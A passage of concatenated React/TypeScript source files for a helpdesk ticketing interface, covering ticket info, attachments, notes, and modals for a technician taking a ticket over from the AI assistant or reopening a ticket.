AssigneeDropdown, type TicketAssigneeOption } from './assignee-dropdown';\nimport { SimpleMarkdownRenderer } from './markdown/simple-markdown-renderer';\nimport { SquareAvatar } from './square-avatar';\nimport { Tag } from './tag';\nimport { type TicketAttachment, TicketAttachmentsList } from './ticket-attachments-list';\nimport { TicketDetailSection } from './ticket-detail-section';\nimport type { TicketNote } from './ticket-note-card';\nimport { TicketNotesSection } from './ticket-notes-section';\nimport { TicketStatusTag, type TicketStatusTagOption } from './ticket-status-tag';\n\nexport type { TicketAssigneeOption };\n\nexport interface TicketInfoSectionProps {\n  /** Organization name and image */\n  organization?: {\n    name: string;\n    imageSrc?: string;\n  };\n  /** User name */\n  user?: string;\n  /** Device info */\n  device?: {\n    name: string;\n    icon?: React.ReactNode;\n    onClick?: () => void;\n  };\n  /** Status tag */\n  status?: string;\n  /** Display label for the status tag (e.g. a custom status name). */\n  statusLabel?: string;\n  /** Hex color for the status tag (e.g. a custom status color). */\n  statusColor?: string;\n  /** When provided, the status tag becomes an inline changer with these options. */\n  statusOptions?: TicketStatusTagOption[];\n  /** Called with the chosen status id from the inline status dropdown. */\n  onStatusSelect?: (id: string) => void;\n  /** Disables the inline status dropdown while a change is in flight. */\n  isStatusPending?: boolean;\n  /** Locks the status: renders the plain tag instead of the dropdown (e.g. a pending approval blocks the transition). */\n  isStatusDisabled?: boolean;\n  /** Reason shown in a tooltip over the status tag when `isStatusDisabled`. */\n  statusDisabledReason?: string;\n  /** Expand button click handler */\n  onExpand?: () => void;\n  /** Whether the section is expanded */\n  expanded?: boolean;\n  /** Additional className */\n  className?: string;\n\n  // --- Expanded view props ---\n\n  /** Assigned person info with inline dropdown */\n  assigned?: {\n    currentAssignee?: {\n      id: string;\n      name: string;\n      avatarSrc?: string;\n      /** Deleted account (DELETED / SELF_DELETED) — renders the red user-x placeholder + red name. */\n      deleted?: boolean;\n    };\n    options: TicketAssigneeOption[];\n    isLoading?: boolean;\n    isPending?: boolean;\n    onAssign: (userId: string | null) => void;\n  };\n  /** Created date string */\n  createdAt?: string;\n  /** Ticket description — markdown/HTML content */\n  description?: string;\n  /** File attachments (view-only with download) */\n  attachments?: TicketAttachment[];\n  /** Tag labels */\n  tags?: string[];\n  /** Notes */\n  notes?: TicketNote[];\n  onAddNote?: (text: string) => void;\n  onEditNote?: (id: string, text: string) => void;\n  onDeleteNote?: (id: string) => void;\n  /** Disables the note input while a note is being added */\n  isAddingNote?: boolean;\n}\n\nfunction InfoCell({\n  value,\n  label,\n  icon,\n  onClick,\n}: {\n  value: string;\n  label: string;\n  icon?: React.ReactNode;\n  onClick?: () => void;\n}) {\n  return (\n    <div className=\"flex-1 min-w-0 overflow-hidden\">\n      <div className=\"flex flex-col justify-center\">\n        <div className=\"flex items-center gap-1 w-full min-w-0\">\n          {icon && (\n            <span className=\"shrink-0 size-4 flex items-center justify-center text-ods-text-secondary\">{icon}</span>\n          )}\n          {onClick ? (\n            <button\n              type=\"button\"\n              onClick={onClick}\n              className=\"text-h4 text-ods-text-primary truncate hover:text-ods-accent transition-colors cursor-pointer text-left\"\n              title={value}\n            >\n              {value}\n            </button>\n          ) : (\n            <span className=\"text-h4 text-ods-text-primary truncate\" title={value}>\n              {value}\n            </span>\n          )}\n        </div>\n        <span className=\"text-h6 text-ods-text-secondary truncate\">{label}</span>\n      </div>\n    </div>\n  );\n}\n\nexport function TicketInfoSection({\n  organization,\n  device,\n  status,\n  statusLabel,\n  statusColor,\n  statusOptions,\n  onStatusSelect,\n  isStatusPending,\n  isStatusDisabled,\n  statusDisabledReason,\n  onExpand,\n  expanded = false,\n  className,\n  assigned,\n  createdAt,\n  description,\n  attachments,\n  tags,\n  notes,\n  onAddNote,\n  onEditNote,\n  onDeleteNote,\n  isAddingNote,\n}: TicketInfoSectionProps) {\n  return (\n    <div className={cn('rounded-[6px] border border-ods-border overflow-hidden', className)}>\n      {/* Header row */}\n      <div className=\"grid grid-cols-2 lg:grid-cols-[1fr_1fr_1fr_auto] gap-4 px-4 py-3 bg-ods-card border-b border-ods-border items-center\">\n        {/* Organization with image */}\n        <div className=\"flex items-center gap-2 min-w-0\">\n          <SquareAvatar\n            src={organization?.imageSrc}\n            alt={organization?.name}\n            fallback={organization?.name || 'Org'}\n            size=\"md\"\n            className=\"shrink-0\"\n          />\n          <InfoCell value={organization?.name || 'Unassigned'} label=\"Organization\" />\n        </div>\n\n        {/* Assigned */}\n        <div className=\"min-w-0\">\n          {assigned ? (\n            <AssigneeDropdown\n              currentAssignee={assigned.currentAssignee}\n              options={assigned.options}\n              isLoading={assigned.isLoading}\n              isPending={assigned.isPending}\n              onAssign={assigned.onAssign}\n            />\n          ) : (\n            <div className=\"min-w-0\">\n              <div className=\"flex items-center gap-1 text-h4 text-ods-text-secondary\">\n                <UserIcon className=\"size-4 shrink-0\" />\n                <span className=\"truncate\">Unassigned</span>\n              </div>\n              <span className=\"text-h6 text-ods-text-secondary truncate block\">Assigned</span>\n            </div>\n          )}\n        </div>\n\n        {/* Device */}\n        <InfoCell value={device?.name || 'Unassigned'} label=\"Device\" icon={device?.icon} onClick={device?.onClick} />\n\n        {/* Status tag + expand button */}\n        <div className=\"flex items-center gap-4 min-w-0\">\n          {(status || statusLabel) && (\n            <div className=\"min-w-0\">\n              <TicketStatusTag\n                status={status ?? ''}\n                label={statusLabel}\n                color={statusColor}\n                options={statusOptions}\n                onSelect={onStatusSelect}\n                isPending={isStatusPending}\n                disabled={isStatusDisabled}\n                disabledReason={statusDisabledReason}\n              />\n            </div>\n          )}\n          {onExpand && (\n            <button\n              type=\"button\"\n              onClick={onExpand}\n              className={cn(\n                'shrink-0 flex items-center justify-center p-3 rounded-[6px]',\n                'bg-ods-card border border-ods-border',\n                'hover:bg-ods-bg-hover transition-colors duration-150',\n              )}\n              aria-label={expanded ? 'Collapse' : 'Expand'}\n            >\n              <Chevron02DownIcon\n                className={cn(\n                  'size-6 text-ods-text-primary transition-transform duration-200',\n                  expanded && 'rotate-180',\n                )}\n              />\n            </button>\n          )}\n        </div>\n      </div>\n\n      {/* Expanded content */}\n      {expanded && (\n        <>\n          {/* Second info row: Created */}\n          {createdAt && (\n            <div className=\"grid grid-cols-2 gap-4 px-4 py-3 bg-ods-bg border-b border-ods-border items-center\">\n              <InfoCell value={createdAt} label=\"Created\" />\n            </div>\n          )}\n\n          {/* Content area */}\n          <div className=\"flex flex-col gap-4 p-4 bg-ods-bg border-b border-ods-border\">\n            {/* Description */}\n            {description && <SimpleMarkdownRenderer content={description} />}\n\n            {/* Attachments */}\n            {attachments && attachments.length > 0 && (\n              <TicketDetailSection label=\"Attachments\">\n                <TicketAttachmentsList attachments={attachments} />\n              </TicketDetailSection>\n            )}\n\n            {/* Tags */}\n            {tags && tags.length > 0 && (\n              <TicketDetailSection label=\"Tags\">\n                <div className=\"flex flex-wrap gap-2 min-w-0\">\n                  {tags.map(tag => (\n                    <Tag key={tag} label={tag} variant=\"outline\" className=\"max-w-full\" />\n                  ))}\n                </div>\n              </TicketDetailSection>\n            )}\n\n            {/* Notes */}\n            {(notes || onAddNote) && (\n              <TicketDetailSection label=\"Notes\">\n                <TicketNotesSection\n                  notes={notes || []}\n                  onAddNote={onAddNote}\n                  onEditNote={onEditNote}\n                  onDeleteNote={onDeleteNote}\n                  isAddingNote={isAddingNote}\n                />\n              </TicketDetailSection>\n            )}\n          </div>\n        </>\n      )}\n    </div>\n  );\n}\n","\"use client\"\n\nimport * as React from \"react\"\nimport { Download02Icon, FileIcon, TrashIcon } from \"../icons-v2-generated\"\nimport { cn } from \"../../utils/cn\"\nimport { SquareAvatar } from \"./square-avatar\"\n\nexport interface TicketAttachment {\n  id: string\n  fileName: string\n  fileSize: string\n  thumbnailSrc?: string\n  onDownload?: () => void\n  /** When set, a trash button is rendered before the download button. */\n  onDelete?: () => void\n}\n\nexport interface TicketAttachmentsListProps {\n  attachments: TicketAttachment[]\n  className?: string\n  /** `compact` shrinks padding / icon / text / download-button for\n   *  in-message rendering (the ticket conversation feed). Default keeps the\n   *  roomier full-row layout for any other surface. */\n  size?: 'default' | 'compact'\n}\n\nexport function TicketAttachmentsList({ attachments, className, size = 'default' }: TicketAttachmentsListProps) {\n  if (attachments.length === 0) return null\n  const compact = size === 'compact'\n\n  return (\n    <div className={cn(\"rounded-[6px] border border-ods-border overflow-hidden\", className)}>\n      {attachments.map((attachment, index) => (\n        <div\n          key={attachment.id}\n          className={cn(\n            \"flex items-center bg-ods-card\",\n            compact ? \"gap-2 px-2 py-1.5\" : \"gap-4 px-4 py-3\",\n            index < attachments.length - 1 && \"border-b border-ods-border\",\n          )}\n        >\n          {attachment.thumbnailSrc ? (\n            <SquareAvatar\n              src={attachment.thumbnailSrc}\n              alt={attachment.fileName}\n              size={compact ? \"sm\" : \"md\"}\n              className=\"shrink-0\"\n            />\n          ) : (\n            <div\n              className={cn(\n                \"shrink-0 flex items-center justify-center rounded-[6px] bg-ods-card border border-ods-border\",\n                compact ? \"size-8\" : \"size-10\",\n              )}\n            >\n              <FileIcon className={cn(\"text-ods-text-secondary\", compact ? \"size-4\" : \"size-6\")} />\n            </div>\n          )}\n          <div className=\"flex-1 min-w-0 overflow-hidden\">\n            <p\n              className={cn(\"text-ods-text-primary truncate\", compact ? \"text-h5\" : \"text-h4\")}\n              title={attachment.fileName}\n            >\n              {attachment.fileName}\n            </p>\n            {attachment.fileSize && (\n              <p className=\"text-h6 text-ods-text-secondary\">{attachment.fileSize}</p>\n            )}\n          </div>\n          {attachment.onDelete && (\n            <button\n              type=\"button\"\n              onClick={attachment.onDelete}\n              className=\"shrink-0 text-ods-text-secondary hover:text-ods-error transition-colors\"\n              aria-label={`Delete ${attachment.fileName}`}\n            >\n              <TrashIcon className={compact ? \"size-4\" : \"size-5\"} />\n            </button>\n          )}\n          {attachment.onDownload && (\n            <button\n              type=\"button\"\n              onClick={attachment.onDownload}\n              className=\"shrink-0 text-ods-text-secondary hover:text-ods-text-primary transition-colors\"\n              aria-label={`Download ${attachment.fileName}`}\n            >\n              <Download02Icon className={compact ? \"size-4\" : \"size-6\"} />\n            </button>\n          )}\n        </div>\n      ))}\n    </div>\n  )\n}\n","\"use client\"\n\nimport * as React from \"react\"\nimport { cn } from \"../../utils/cn\"\n\nexport interface TicketDetailSectionProps {\n  /** Section label displayed as uppercase heading */\n  label: string\n  children: React.ReactNode\n  className?: string\n}\n\nexport function TicketDetailSection({ label, children, className }: TicketDetailSectionProps) {\n  return (\n    <div className={cn(\"flex flex-col gap-1\", className)}>\n      <p className=\"text-h5 text-ods-text-secondary\">{label}</p>\n      {children}\n    </div>\n  )\n}\n","\"use client\"\n\nimport * as React from \"react\"\nimport { Send03Icon } from \"../icons-v2-generated\"\nimport { cn } from \"../../utils/cn\"\nimport { Input } from \"./input\"\nimport { type TicketNote, TicketNoteCard } from \"./ticket-note-card\"\n\nexport interface TicketNotesSectionProps {\n  notes: TicketNote[]\n  onAddNote?: (text: string) => void\n  onEditNote?: (id: string, text: string) => void\n  onDeleteNote?: (id: string) => void\n  /** Disables the input and send button while a note is being added */\n  isAddingNote?: boolean\n  className?: string\n}\n\nexport function TicketNotesSection({\n  notes,\n  onAddNote,\n  onEditNote,\n  onDeleteNote,\n  isAddingNote,\n  className,\n}: TicketNotesSectionProps) {\n  const [noteText, setNoteText] = React.useState(\"\")\n\n  const handleSend = () => {\n    const trimmed = noteText.trim()\n    if (!trimmed || !onAddNote || isAddingNote) return\n    onAddNote(trimmed)\n    setNoteText(\"\")\n  }\n\n  const handleKeyDown = (e: React.KeyboardEvent) => {\n    if (e.key === \"Enter\" && !e.shiftKey) {\n      e.preventDefault()\n      handleSend()\n    }\n  }\n\n  return (\n    <div className={cn(\"flex flex-col gap-2\", className)}>\n      {notes.map(note => (\n        <TicketNoteCard\n          key={note.id}\n          note={note}\n          onEdit={onEditNote}\n          onDelete={onDeleteNote}\n        />\n      ))}\n\n      {onAddNote && (\n        <div className=\"flex items-center gap-2\">\n          <div className=\"flex-1\">\n            <Input\n              value={noteText}\n              onChange={e => setNoteText(e.target.value)}\n              onKeyDown={handleKeyDown}\n              placeholder=\"Enter your Note Here\"\n              disabled={isAddingNote}\n            />\n          </div>\n          <button\n            type=\"button\"\n            onClick={handleSend}\n            disabled={!noteText.trim() || isAddingNote}\n            className={cn(\n              \"shrink-0 flex items-center justify-center w-11 h-11 md:w-12 md:h-12 rounded-[6px]\",\n              \"bg-ods-card border border-ods-border\",\n              \"hover:bg-ods-bg-hover transition-colors\",\n              \"disabled:opacity-50 disabled:cursor-not-allowed\",\n            )}\n            aria-label=\"Send note\"\n          >\n            <Send03Icon className=\"size-6 text-ods-text-secondary\" />\n          </button>\n        </div>\n      )}\n    </div>\n  )\n}\n","\"use client\"\n\nimport * as React from \"react\"\nimport { CheckIcon, PenEditIcon, TrashIcon, XmarkIcon } from \"../icons-v2-generated\"\nimport { cn } from \"../../utils/cn\"\nimport { Input } from \"./input\"\nimport { SquareAvatar } from \"./square-avatar\"\n\nexport interface TicketNote {\n  id: string\n  text: string\n  authorName: string\n  authorAvatar?: string\n  createdAt: string\n  isOwn: boolean\n}\n\nexport interface TicketNoteCardProps {\n  note: TicketNote\n  onEdit?: (id: string, text: string) => void\n  onDelete?: (id: string) => void\n  className?: string\n}\n\nexport function TicketNoteCard({ note, onEdit, onDelete, className }: TicketNoteCardProps) {\n  const [isEditing, setIsEditing] = React.useState(false)\n  const [editText, setEditText] = React.useState(note.text)\n\n  const handleSave = () => {\n    const trimmed = editText.trim()\n    if (!trimmed || !onEdit) return\n    onEdit(note.id, trimmed)\n    setIsEditing(false)\n  }\n\n  const handleCancel = () => {\n    setEditText(note.text)\n    setIsEditing(false)\n  }\n\n  const handleKeyDown = (e: React.KeyboardEvent) => {\n    if (e.key === \"Enter\" && !e.shiftKey) {\n      e.preventDefault()\n      handleSave()\n    }\n    if (e.key === \"Escape\") {\n      handleCancel()\n    }\n  }\n\n  return (\n    <div\n      className={cn(\n        \"flex items-start gap-4 p-3 rounded-[6px]\",\n        \"bg-ods-card border border-ods-border\",\n        className,\n      )}\n    >\n      <SquareAvatar\n        src={note.authorAvatar}\n        alt={note.authorName}\n        fallback={note.authorName}\n        size=\"sm\"\n        variant=\"round\"\n        className=\"shrink-0\"\n      />\n      <div className=\"flex-1 min-w-0 overflow-hidden\">\n        {isEditing ? (\n          <div className=\"flex items-center gap-2\">\n            <div className=\"flex-1\">\n              <Input\n                value={editText}\n                onChange={e => setEditText(e.target.value)}\n                onKeyDown={handleKeyDown}\n                autoFocus\n              />\n            </div>\n            <button\n              type=\"button\"\n              onClick={handleSave}\n              disabled={!editText.trim()}\n              className=\"shrink-0 text-ods-success hover:text-ods-success/80 transition-colors disabled:opacity-50\"\n              aria-label=\"Save note\"\n            >\n              <CheckIcon className=\"size-5\" />\n            </button>\n            <button\n              type=\"button\"\n              onClick={handleCancel}\n              className=\"shrink-0 text-ods-text-secondary hover:text-ods-text-primary transition-colors\"\n              aria-label=\"Cancel editing\"\n            >\n              <XmarkIcon className=\"size-5\" />\n            </button>\n          </div>\n        ) : (\n          <>\n            <p className=\"text-h4 text-ods-text-primary\">{note.text}</p>\n            <p\n              className=\"text-h6 text-ods-text-secondary truncate\"\n              title={`${note.authorName} • ${note.createdAt}`}\n            >\n              {note.authorName} &bull; {note.createdAt}\n            </p>\n          </>\n        )}\n      </div>\n      {note.isOwn && !isEditing && (\n        <div className=\"flex items-center gap-4 shrink-0\">\n          {onDelete && (\n            <button\n              type=\"button\"\n              onClick={() => onDelete(note.id)}\n              className=\"text-ods-text-secondary hover:text-ods-error transition-colors\"\n              aria-label=\"Delete note\"\n            >\n              <TrashIcon className=\"size-6\" />\n            </button>\n          )}\n          {onEdit && (\n            <button\n              type=\"button\"\n              onClick={() => setIsEditing(true)}\n              className=\"text-ods-text-secondary hover:text-ods-text-primary transition-colors\"\n              aria-label=\"Edit note\"\n            >\n              <PenEditIcon className=\"size-6\" />\n            </button>\n          )}\n        </div>\n      )}\n    </div>\n  )\n}\n","'use client';\n\nimport * as React from 'react';\nimport { CheckIcon } from '../icons-v2-generated';\nimport { Autocomplete, type AutocompleteOption } from './autocomplete';\nimport { Button } from './button';\nimport { ColorSwatch } from './color-swatch';\nimport { ModalV2, ModalV2Footer, ModalV2Header, ModalV2Title } from './modal-v2';\nimport { SquareAvatar } from './square-avatar';\nimport { TruncateText } from './truncate-text';\n\nexport interface TakeOverStatusOption extends AutocompleteOption {\n  color: string;\n}\n\nexport interface TakeOverAssigneeOption extends AutocompleteOption {\n  /** Full (already resolved) avatar URL. */\n  imageUrl?: string;\n}\n\nexport interface TakeOverTicketSelection {\n  statusId: string;\n  assigneeId: string;\n}\n\nexport interface TakeOverTicketModalProps {\n  isOpen: boolean;\n  onClose: () => void;\n  /** Highlighted ticket reference in the description, e.g. \"1003: Email client synchronization issues\". */\n  ticketRef: string;\n  /** Allowed target statuses, in display order (consumer decides grouping, e.g. custom statuses first). */\n  statusOptions: TakeOverStatusOption[];\n  /** Assignable users, in display order (consumer decides ordering, e.g. signed-in user first). */\n  assigneeOptions: TakeOverAssigneeOption[];\n  assigneesLoading?: boolean;\n  /** Pre-selected status; falls back to the first status option. */\n  initialStatusId?: string | null;\n  /** Pre-selected assignee; no fallback — pass the signed-in user id for the design default. */\n  initialAssigneeId?: string | null;\n  /** Confirm in-flight: buttons lock and the modal refuses to close. */\n  isPending?: boolean;\n  onConfirm: (selection: TakeOverTicketSelection) => void;\n}\n\n/** Status row with color swatch — shared by the ticket lifecycle modals\n *  (Take Over / Reopen), which present the same Status + Assigned pair. */\nexport function renderTicketStatusOption(option: AutocompleteOption, isSelected: boolean): React.ReactNode {\n  const { label, color } = option as TakeOverStatusOption;\n  return (\n    <div className=\"flex items-center justify-between w-full min-w-0 gap-[var(--spacing-system-xs)]\">\n      <div className=\"flex items-center gap-[var(--spacing-system-xs)] min-w-0\">\n        <ColorSwatch color={color} />\n        <div className=\"min-w-0\">\n          <TruncateText className=\"text-inherit\">{label}</TruncateText>\n        </div>\n      </div>\n      {isSelected && <CheckIcon className=\"text-ods-accent\" size={20} />}\n    </div>\n  );\n}\n\n/** Assignee row with round avatar — shared by the ticket lifecycle modals. */\nexport function renderTicketAssigneeOption(option: AutocompleteOption, isSelected: boolean): React.ReactNode {\n  const { label, imageUrl } = option as TakeOverAssigneeOption;\n  return (\n    <div className=\"flex items-center justify-between w-full min-w-0 gap-[var(--spacing-system-xs)]\">\n      <div className=\"flex items-center gap-[var(--spacing-system-xs)] min-w-0\">\n        <SquareAvatar src={imageUrl} alt={label} fallback={label} size=\"sm\" variant=\"round\" />\n        <div className=\"min-w-0\">\n          <TruncateText className=\"text-inherit\">{label}</TruncateText>\n        </div>\n      </div>\n      {isSelected && <CheckIcon className=\"text-ods-accent\" size={20} />}\n    </div>\n  );\n}\n\n/**\n * Take Over Ticket confirmation dialog (Figma openframe---tickets 8482-112154 /\n * 8482-112169): shown when a technician takes a ticket over from the AI\n * assistant. Presentational — the consumer supplies the option lists, their\n * ordering and default selections, and performs the actual take-over in\n * `onConfirm` (status transition + assignment + switching the dialog to direct\n * mode, or an atomic backend mutation once available).\n *\n * Desktop footer shows only the accent Take Over button (X closes); mobile\n * bottom-sheet adds a Cancel button, per design.\n */\nexport function TakeOverTicketModal({\n  isOpen,\n  onClose,\n  ticketRef,\n  statusOptions,\n  assigneeOptions,\n  assigneesLoading,\n  initialStatusId,\n  initialAssigneeId,\n  isPending = false,\n  onConfirm,\n}: TakeOverTicketModalProps) {\n  const [statusId, setStatusId] = React.useState<string | null>(null);\n  const [assigneeId, setAssigneeId] = React.useState<string | null>(null);\n\n  // Re-seed the selections every time the modal opens.\n  React.useEffect(() => {\n    if (!isOpen) return;\n    setStatusId(initialStatusId ?? null);\n    setAssigneeId(initialAssigneeId ?? null);\n  }, [isOpen, initialStatusId, initialAssigneeId]);\n\n  const selectedStatusId = statusId ?? statusOptions[0]?.value ?? null;\n  const selectedStatus = statusOptions.find(o => o.value === selectedStatusId);\n  const selectedAssignee = assigneeOptions.find(o => o.value === assigneeId);\n\n  const handleConfirm = () => {\n    if (!selectedStatusId || !assigneeId || isPending) return;\n    onConfirm({ statusId: selectedStatusId, assigneeId });\n  };\n\n  return (\n    <ModalV2 isOpen={isOpen} onClose={isPending ? () => {} : onClose} className=\"text-left md:max-w-[600px]\">\n      <ModalV2Header>\n        <ModalV2Title>Take Over Ticket</ModalV2Title>\n      </ModalV2Header>\n\n      <p className=\"text-h4 text-ods-text-primary\">\n        The ticket <span className=\"text-ods-accent\">{ticketRef}</span> will move to the selected status and be assigned\n        to the technician. A direct chat with the user will start, and the AI assistant will stop working on this\n        ticket.\n      </p>\n\n      <div className=\"flex flex-col md:flex-row gap-[var(--spacing-system-l)] w-full\">\n        <div className=\"flex-1 min-w-0\">\n          <Autocomplete\n            label=\"Status\"\n            options={statusOptions}\n            value={selectedStatusId}\n            onChange={setStatusId}\n            placeholder=\"Select Status\"\n            startAdornment={selectedStatus ? <ColorSwatch color={selectedStatus.color} /> : undefined}\n            renderOption={renderTicketStatusOption}\n          />\n        </div>\n        <div className=\"flex-1 min-w-0\">\n          <Autocomplete\n            label=\"Assigned\"\n            options={assigneeOptions}\n            value={assigneeId}\n            onChange={setAssigneeId}\n            placeholder=\"Select Technician\"\n            loading={assigneesLoading}\n            startAdornment={\n              selectedAssignee ? (\n                <SquareAvatar\n                  src={selectedAssignee.imageUrl}\n                  alt={selectedAssignee.label}\n                  fallback={selectedAssignee.label}\n                  size=\"sm\"\n                  variant=\"round\"\n                />\n              ) : undefined\n            }\n            renderOption={renderTicketAssigneeOption}\n          />\n        </div>\n      </div>\n\n      <ModalV2Footer>\n        <Button type=\"button\" variant=\"outline\" onClick={onClose} disabled={isPending} className=\"flex-1 md:hidden\">\n          Cancel\n        </Button>\n        <div className=\"hidden md:block flex-1\" />\n        <Button\n          type=\"button\"\n          variant=\"accent\"\n          onClick={handleConfirm}\n          loading={isPending}\n          disabled={!selectedStatusId || !assigneeId}\n          className=\"flex-1\"\n        >\n          Take Over\n        </Button>\n      </ModalV2Footer>\n    </ModalV2>\n  );\n}\n","'use client';\n\nimport * as React from 'react';\nimport { Autocomplete } from './autocomplete';\nimport { Button } from './button';\nimport { ColorSwatch } from './color-swatch';\nimport { ModalV2, ModalV2Footer, ModalV2Header, ModalV2Title } from './modal-v2';\nimport { SquareAvatar } from './square-avatar';\nimport {\n  renderTicketAssigneeOption,\n  renderTicketStatusOption,\n  type TakeOverAssigneeOption,\n  type TakeOverStatusOption,\n} from './take-over-ticket-modal';\nimport { Textarea } from './textarea';\n\n/** Backend trims and caps the reason at 1000 chars; cap it client-side too. */\nconst REASON_MAX_LENGTH = 1000;\n\nexport interface ReopenTicketSelection {\n  statusId: string;\n  assigneeId: string;\n  /** Trimmed; `null` when the field was left blank. */\n  reason: string | null;\n}\n\nexport interface ReopenTicketModalProps {\n  isOpen: boolean;\n  onClose: () => void;\n  /** Highlighted ticket reference in the description, e.g. \"1003: Email client synchronization issues\". */\n  ticketRef: string;\n  /** Allowed target statuses, in display order. Per design, the consumer\n   *  pre-selects Tech Required by default (annotation on the mock: \"tech\n   *  required by default, but may be changed to custom status\"). */\n  statusOptions: TakeOverStatusOption[];\n  /** Assignable users, in display order (consumer decides ordering, e.g. signed-in user first). */\n  assigneeOptions: TakeOverAssigneeOption[];\n  assigneesLoading?: boolean;\n  /** Pre-selected status; falls back to the first status option. */\n  initialStatusId?: string | null;\n  /** Pre-selected assignee (the design default restores the ticket's previous\n   *  assignee). No fallback — with none selected the CTA stays locked, same\n   *  as Take Over: both Status and Assigned are required to confirm. */\n  initialAssigneeId?: string | null;\n  /** Confirm in-flight: buttons lock and the modal refuses to close. */\n  isPending?: boolean;\n  onConfirm: (selection: ReopenTicketSelection) => void;\n}\n\n/**\n * Reopen Ticket dialog (Figma openframe---tickets 8456-17581): shown when a\n * technician reopens a Resolved/Archived ticket. Same Status + Assigned pair\n * as {@link TakeOverTicketModal} — both REQUIRED before the CTA unlocks —\n * plus an optional free-text reason.\n * Presentational — the consumer supplies the option lists, their ordering and\n * default selections, and performs the actual reopen in `onConfirm`.\n *\n * Desktop footer shows only the accent Reopen button (X closes); mobile\n * bottom-sheet adds a Cancel button, matching Take Over.\n */\nexport function ReopenTicketModal({\n  isOpen,\n  onClose,\n  ticketRef,\n  statusOptions,\n  assigneeOptions,\n  assigneesLoading,\n  initialStatusId,\n  initialAssigneeId,\n  isPending = false,\n  onConfirm,\n}: ReopenTicketModalProps) {\n  const [statusId, setStatusId] = React.useState<string | null>(null);\n  const [assigneeId, setAssigneeId] = React.useState<string | null>(null);\n  const [reason, setReason] = React.useState('');\n\n  // Re-seed the selections every time the modal opens.\n  React.useEffect(() => {\n    if (!isOpen) return;\n    setStatusId(initialStatusId ?? null);\n    setAssigneeId(initialAssigneeId ?? null);\n    setReason('');\n  }, [isOpen, initialStatusId, initialAssigneeId]);\n\n  const selectedStatusId = statusId ?? statusOptions[0]?.value ?? null;\n  const selectedStatus = statusOptions.find(o => o.value === selectedStatusId);\n  const selectedAssignee = assigneeOptions.find(o => o.value === assigneeId);\n\n  const handleConfirm = () => {\n    if (!selectedStatusId || !assigneeId || isPending) return;\n    const trimmedReason = reason.trim();\n    onConfirm({\n      statusId: selectedStatusId,\n      assigneeId,\n      reason: trimmedReason ? trimmedReason.slice(0, REASON_MAX_LENGTH) : null,\n    });\n  };\n\n  return (\n    <ModalV2 isOpen={isOpen} onClose={isPending ? () => {} : onClose} className=\"text-left md:max-w-[600px]\">\n      <ModalV2Header>\n        <ModalV2Title>Reopen Ticket</ModalV2Title>\n      </ModalV2Header>\n\n      <p className=\"text-h4 text-ods-text-primary\">\n        The ticket <span className=\"text-ods-accent\">{ticketRef}</span> will return to the selected status and appear on\n        the board. Assigned admins and the user will be notified.\n      </p>\n\n      <div className=\"flex flex-col md:flex-row gap-[var(--spacing-system-l)] w-full\">\n        <div className=\"flex-1 min-w-0\">\n          <Autocomplete\n            label=\"Status\"\n            options={statusOptions}\n            value={selectedStatusId}\n            onChange={setStatusId}\n            placeholder=\"Select Status\"\n            startAdornment={selectedStatus ? <ColorSwatch color={selectedStatus.color} /> : undefined}\n            renderOption={renderTicketStatusOption}\n          />\n        </div>\n        <div className=\"flex-1 min-w-0\">\n          <Autocomplete\n            label=\"Assigned\"\n            options={assigneeOptions}\n            value={assigneeId}\n            onChange={setAssigneeId}\n            placeholder=\"Select Technician\"\n            loading={assigneesLoading}\n            startAdornment={\n              selectedAssignee ? (\n                <SquareAvatar\n                  src={selectedAssignee.imageUrl}\n                  alt={selectedAssignee.label}\n                  fallback={selectedAssignee.label}\n                  size=\"sm\"\n                  variant=\"round\"\n                />\n              ) : undefined\n            }\n            renderOption={renderTicketAssigneeOption}\n          />\n        </div>\n      </div>\n\n      <div className=\"w-full\">\n        <Textarea\n          label=\"Reason\"\n          value={reason}\n          onChange={event => setReason(event.target.value)}\n          placeholder=\"Describe what's still not working (optional)\"\n          maxLength={REASON_MAX_LENGTH}\n          disabled={isPending}\n        />\n      </div>\n\n      <ModalV2Footer>\n        <Button type=\"button\" variant=\"outline\" onClick={onClose} disabled={isPending} className=\"flex-1 md:hidden\">\n          Cancel\n        </Button>\n        <div className=\"hidden md:block flex-1\" />\n        <Button\n          type=\"button\"\n          variant=\"accent\"\n          onClick={handleConfirm}\n          loading={isPending}\n          disabled={!selectedStatusId || !assigneeId}\n          className=\"flex-1\"\n        >\n          Reopen Ticket\n        </Button>\n      </ModalV2Footer>\n    </ModalV2>\n  );\n}\n","'use client';\n\nimport * as React from 'react';\nimport { Button } from './button';\nimport { CheckboxBlock } from './checkbox-block';\nimport { ModalV2, ModalV2Footer, ModalV2Header, ModalV2Title } from './modal-v2';\nimport { Textarea } from './textarea';\n\n/** Backend trims and caps the reason at 1000 chars; cap it client-side too. */\nconst REASON_MAX_LENGTH = 1000;\n\nexport interface ReopenTicketRequestSelection {\n  /** Trimmed; `null` when the field was left blank. */\n  reason: string | null;\n  /** Present ONLY when the handoff option was shown — the tech-closed\n   *  variant omits the field entirely (mirrors `TicketReopenInput`). */\n  handoffToTechnician?: boolean;\n}\n\nexport interface ReopenTicketRequestModalProps {\n  isOpen: boolean;\n  onClose: () => void;\n  /**\n   * Fae resolved the ticket (`Ticket.resolvedBy === END_USER`): reopening\n   * resumes the AI conversation, and the checkbox lets the user route to a\n   * technician instead. When a technician closed the ticket the option is\n   * hidden — reopening goes to a technician regardless, and the selection\n   * omits `handoffToTechnician`.\n   */\n  showHandoffOption?: boolean;\n  /** Confirm in-flight: buttons lock and the modal refuses to close. */\n  isPending?: boolean;\n  onConfirm: (selection: ReopenTicketRequestSelection) => void;\n}\n\n/**\n * Client-side Reopen Ticket dialog (Figma openframe---fae-chat 346-10518):\n * the end user reopening their own resolved ticket from the closed chat.\n * Unlike the admin `ReopenTicketModal` there is no status/assignee pair —\n * the backend picks the target via `requestTicketReopen`; the user only\n * supplies an optional reason and (for Fae-closed tickets) the handoff\n * choice. Presentational — the consumer performs the reopen in `onConfirm`.\n */\nexport function ReopenTicketRequestModal({\n  isOpen,\n  onClose,\n  showHandoffOption = false,\n  isPending = false,\n  onConfirm,\n}: ReopenTicketRequestModalProps) {\n  const [reason, setReason] = React.useState('');\n  const [handoff, setHandoff] = React.useState(false);\n\n  // Re-seed the inputs every time the modal opens.\n  React.useEffect(() => {\n    if (!isOpen) return;\n    setReason('');\n    setHandoff(false);\n  }, [isOpen]);\n\n  const handleConfirm = () => {\n    if (isPending) return;\n    const trimmedReason = reason.trim();\n    onConfirm({\n      reason: trimmedReason ? trimmedReason.slice(0, REASON_MAX_LENGTH) : null,\n      